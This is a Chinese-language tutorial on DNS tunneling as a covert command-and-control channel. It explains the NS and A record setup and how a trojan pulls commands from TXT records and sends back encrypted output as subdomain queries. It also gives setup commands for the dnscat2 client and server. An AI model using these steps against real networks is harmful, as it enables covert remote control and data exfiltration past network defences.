0x00 DNS隧道简介
DNS Tunneling,是隐蔽信道的一种,通过将其他协议的数据封装在DNS协议中传输建立通信。
普通的 DNS 查询过程如下:
客户端发送 DNS 请求->DNS 服务器->如果 DNS 服务器寻找不到该记录->继续递归查询->寻找该域名 的 NS 记录->询问 NS 记录指向的 DNS 服务器->DNS 服务器响应->传输给客户端。
本次通过设置一个 NS 服务器,实现了 DNS 隧道的建立,使得服务器可向客户端发送任意命令,并且回 传命令执行的结果。 DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议,目的端口号为 53。
它的缺点就是不稳定、 传输过大文件时容易失去连接,需要重新建立。
0x01 DNS隧道原理
DNS 隧道简单例子:
类型 | 主机记录 | 记录值 |
---|---|---|
NS | HACK | NS.XXX.COM |
A | NS | XXX.XXX.XXX.XXX |
首先在 DNS 解析管理平台上设置一个 NS 和一个 A 记录:
当我们询问 hello.HACK.XXX.COM 时,DNS 客户端发送的查询请求会递归到主机记录 NS 指向的 XXX.XXX.XXX.XXX 服务器上。 黑客通过在 XXX.XXX.XXX.XXX 服务器上监听 53 端口,即可获得 DNS 客户端发送来的请求。
0x02 如何获得命令执行结果?
这里需要木马的配合,黑客会在服务器端的程序上专门设置一个 TXT 的主机记录,用于存放命令。
木马会不断请求 COMMAND.HACK.XXX.COM,获得 TXT 的解析结果,并执行,然后将结果进行分段加密传送至 DNS 服务器,构造一个 A 记录的查询请求。
例如服务端:set command=ipcofig
客户端:请求 COMMAND.HACK.XXX.COM
,得到解析结果ipconfig
操作系统执行后,返回结果一般如下:
WINDOWS IP Configuration:
......
此时木马将 WINDOWS IP Configuration 进行编码加密,可能是如下形式:
U2FsdGVkX19cMV2s858WNyKHm5mRXx4VXng1nK8bFG5XKQSaO52vXKIsX0IZ1pxyCdI
然后拼接成域名为:
U2FsdGVkX19cMV2s858WNyKHm5mRXx4VXng1nK8bFG5XKQSaO52vXKIsX0IZ1pxyCdI.H ACK.XXX.COM
服务端接收后,会使用密钥解密这串字符,得到命令执行结果。
这样反复的过程就能达到永久控制客户端的目的。
0x03 如何判断是否能够建立隧道?
使用 nslookup 工具查询 DNS 解析记录。
命令:
nslookup @114.114.114.114 baidu.com
nslookup @8.8.8.8 baidu.com
nslookup @内网DNS Server baidu.com
如果均能查询到 A 记录后,再换一些不常见域名,例如:translate.google.cn
若还是能够解析,则可以构建 DNS 隧道。
0x04 dnscat2
This tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol, which is an effective tunnel out of almost every network.
dnscat2分为客户端和服务端
客户端配置:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
$ dnscat <Domain>
服务端配置(需要Ruby环境):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
$ ./dnscat2 --dns server=x.x.x.x,port=53
这一切的前提是按照0x01中的环境配置好后再操作。
DNS配置:
类型 | 主机记录 | 记录值 |
---|---|---|
NS | dns | ns.payloads.online |
A | ns | 1.1.1.1 |
# 服务器(1.1.1.1)
root@payloads:~# tcpdump udp port 53
# 客户端
nslookup hello.dns.payloads.online